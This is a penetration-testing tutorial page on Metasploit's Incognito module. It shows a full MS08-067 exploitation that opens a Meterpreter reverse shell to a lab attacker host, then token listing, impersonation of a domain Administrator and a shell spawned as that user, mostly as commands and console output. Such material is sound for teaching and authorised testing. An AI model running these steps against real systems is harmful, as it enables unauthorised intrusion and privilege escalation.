Fun with Incognito a11y.text Fun with Incognito What isÂ Incognito a11y.text What isÂ Incognito Incognito was originally a stand-alone application that allowed you to impersonate user tokens when successfully compromising a system. This was integrated into Metasploit and ultimately into Meterpreter. You can read more about Incognito and how token stealing works via Luke Jennings original paper . In a nutshell, tokens are just like web cookies. They are a temporary key that allows you to access the system and network without having to provide credentials each time you access a file. Incognito exploits this the same way cookie stealing works, by replaying that temporary key when asked to authenticate. There are two types of tokens: delegate and impersonate. Delegate tokens are created for â€˜interactiveâ€™ logons, such as logging into the machine or connecting to it via Remote Desktop. Impersonate tokens are for â€˜non-interactiveâ€™ sessions, such as attaching a network drive or a domain logon script.

The other great things about tokens? They persist until a reboot. When a user logs off, their delegate token is reported as an impersonate token, but will still hold all of the rights of a delegate token. TIP: File servers are virtual treasure troves of tokens since most file servers are used as network attached drives via domain logon scripts Once you have a Meterpreter session, you can impersonate valid tokens on the system and become that specific user without ever having to worry about credentials, or for that matter, even hashes. During a penetration test, this is especially useful due to the fact that tokens have the possibility of allowing local and/or domain privilege escalation, enabling you alternate avenues with potentially elevated privileges to multiple systems. First, letâ€™s load up our favourite exploit, ms08_067_netapi , with a Meterpreter payload. Note that we manually set the target because this particular exploit does not always auto-detect the target properly. Setting it to a known target will ensure the right memory addresses are used for exploitation. msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140

RHOST => 10.211.55.140

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

```
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
LHOST => 10.211.55.162
msf exploit(ms08_067_netapi) > set LANG english
LANG => english
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (NX)
   4   Windows XP SP3 English (NX)
   5   Windows 2003 SP0 Universal
   6   Windows 2003 SP1 English (NO NX)
   7   Windows 2003 SP1 English (NX)
   8   Windows 2003 SP2 English (NO NX)
   9   Windows 2003 SP2 English (NX)
   10  Windows XP SP2 Arabic (NX)
   11  Windows XP SP2 Chinese - Traditional / Taiwan (NX)

msf exploit(ms08_067_netapi) > set TARGET 8
```

target => 8

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028)

meterpreter > We now have a Meterpreter console from which we will begin our incognito token attack. Like priv (hashdump and timestomp) and stdapi (upload , download , etc.), incognito is a Meterpreter module. We load the module into our Meterpreter session by executing the use incognito command. Issuing the help command shows us the variety of options we have for incognito and brief descriptions of each option. meterpreter > use incognito

Loading extension incognito...success.

meterpreter > help

Incognito Commands

==========

Command	Description

add_group_user Attempt to add a user to a global group with all tokens

add_localgroup_user Attempt to add a user to a local group with all tokens

add_user Attempt to add a user with all tokens

impersonate_token Impersonate specified token

list_tokens List tokens available under current user context

snarf_hashes Snarf challenge/response hashes for every token

meterpreter > What we will need to do first is identify if there are any valid tokens on this system. Depending on the level of access that your exploit provides, you are limited in the tokens you are able to view. When it comes to token stealing, SYSTEM is king. As SYSTEM, you are allowed to see and use any token on the box. TIP: Administrators donâ€™t have access to all the tokens either, but they do have the ability to migrate to SYSTEM processes, effectively making them SYSTEM and able to see all the tokens available. meterpreter > list_tokens -u

Delegation Tokens Available

==========

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

SNEAKS.IN\Administrator

Impersonation Tokens Available

==========

NT AUTHORITY\ANONYMOUS LOGON

meterpreter > We see here that there is a valid Administrator token that looks to be of interest. We

now need to impersonate this token in order to assume its privileges. When issuing the impersonate_token command, note the two backslashes in â€œSNEAKS.IN\\ Administratorâ€•. This is required as it causes bugs with just one slash. Note also that after successfully impersonating a token, we check our current userID by executing the getuid command. meterpreter > impersonate_token SNEAKS.IN\\Administrator

[+] Delegation token available

[+] Successfully impersonated user SNEAKS.IN\Administrator

meterpreter > getuid

Server username: SNEAKS.IN\Administrator

meterpreter > Next, letâ€™s run a shell as this individual account by running execute -f cmd.exe -i -t from within Meterpreter. This tells Metasploit to execute cmd.exe , the -i allows us to interact with the victims PC, and the -t assumes the role we just impersonated through incognito. meterpreter > shell

Process 2804 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> whoami

whoami

SNEAKS.IN\administrator

C:\WINDOWS\system32> Next Interacting with the Registry Prev Event Log Management